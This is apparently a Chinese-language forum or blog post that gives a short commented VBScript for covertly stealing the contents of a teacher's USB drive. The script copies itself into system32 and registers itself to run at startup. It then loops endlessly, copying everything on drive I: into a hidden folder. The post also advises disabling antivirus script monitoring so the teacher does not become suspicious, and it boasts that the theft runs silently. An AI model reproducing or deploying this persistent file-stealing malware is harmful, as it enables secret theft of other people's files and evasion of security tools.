On Error Resume Next ‘忽略異常，否則可能會(huì)有錯(cuò)誤提示框 Set fso=CreateObject("Scripting.FileSystemObject") ‘創(chuàng)建fso dim n Set n=CreateObject("Wscript.Shell") ‘聲明變量n Set dir = fso.GetSpecialFolder(1) ‘讀取system32文件夾路徑 fso.GetFile(WScript.ScriptFullName).Copy(dir&"/copy.vbs") ‘讀取自身文件名，并復(fù)制自己到system32文件夾，重命名為copy.vbs dim r Set r=CreateObject("Wscript.Shell") ‘聲明變量r，用于讀寫注冊(cè)表 r.Regwrite"HKLM/Software/Microsoft/Windows/CurrentVersion/Run/","copy.vbs","REG_SZ" ‘為腳本添加啟動(dòng)項(xiàng) fso.CreateFolder("c:/windows/explorer") ‘創(chuàng)建文件夾，用來存放U盤文件 for i = 1 to 2 i = 1 ‘看出來了么，這是個(gè)死循環(huán)，變量i不可能到2，所以可以不斷檢查U盤并復(fù)制內(nèi)容 fso.CopyFile "i:/*", "c:/windows/explorer/", True ‘復(fù)制I盤(U盤盤符)所有文件到指定文件夾 fso.CopyFolder "i:/*", "c:/windows/explorer/", True ‘復(fù)制I盤所有文件夾到指定文件夾 wscript.sleep 10000 ‘掛起10秒，此屬性單位為毫秒 next 把上述內(nèi)容存為kubau0.vbs，才幾百字節(jié)。 提示一點(diǎn)，因?yàn)槟_本內(nèi)容有對(duì)注冊(cè)表和文件的操作，所以執(zhí)行時(shí)要把殺毒軟件的網(wǎng)頁或腳本之類的監(jiān)控關(guān)掉，否則會(huì)不客氣的彈出個(gè)對(duì)話框問你是否執(zhí)行，如果引起老師懷疑的話……那你就節(jié)哀吧。 現(xiàn)在，只要在目標(biāo)機(jī)上執(zhí)行一次腳本（什么？沒反應(yīng)？當(dāng)然不會(huì)有了！看看進(jìn)程列表，如果有一個(gè)wscript.exe就說明已經(jīng)執(zhí)行成功了），腳本執(zhí)行會(huì)停留在死循環(huán)里，每隔10秒復(fù)制一次文件到C:/windows/explorer/文件夾(間隔時(shí)間和目標(biāo)文件夾均可自行設(shè)置)，重啟后會(huì)自動(dòng)執(zhí)行，且不會(huì)有任何異常提示，畢竟安全才是最重要的嘛！這也是VBS的特點(diǎn)，一切悄無聲息。 不過腳本也不是沒有缺點(diǎn)，那就是在復(fù)制文件的時(shí)候U盤燈會(huì)狂閃不止，且機(jī)器運(yùn)行速度會(huì)明顯變慢，且無法通過安全刪除硬件來停止U盤，不過好在老師們多是才鳥(才鳥？什么東西？有才的菜鳥？)，但是如果哪位高手能幫我解決，還請(qǐng)不吝賜教！ 另外，別以為復(fù)制完就萬事大吉了，最好定期刪除沒用的文件，否則目標(biāo)文件夾會(huì)急劇膨脹，比如我們班，一星期下來就超了1G，很恐怖！
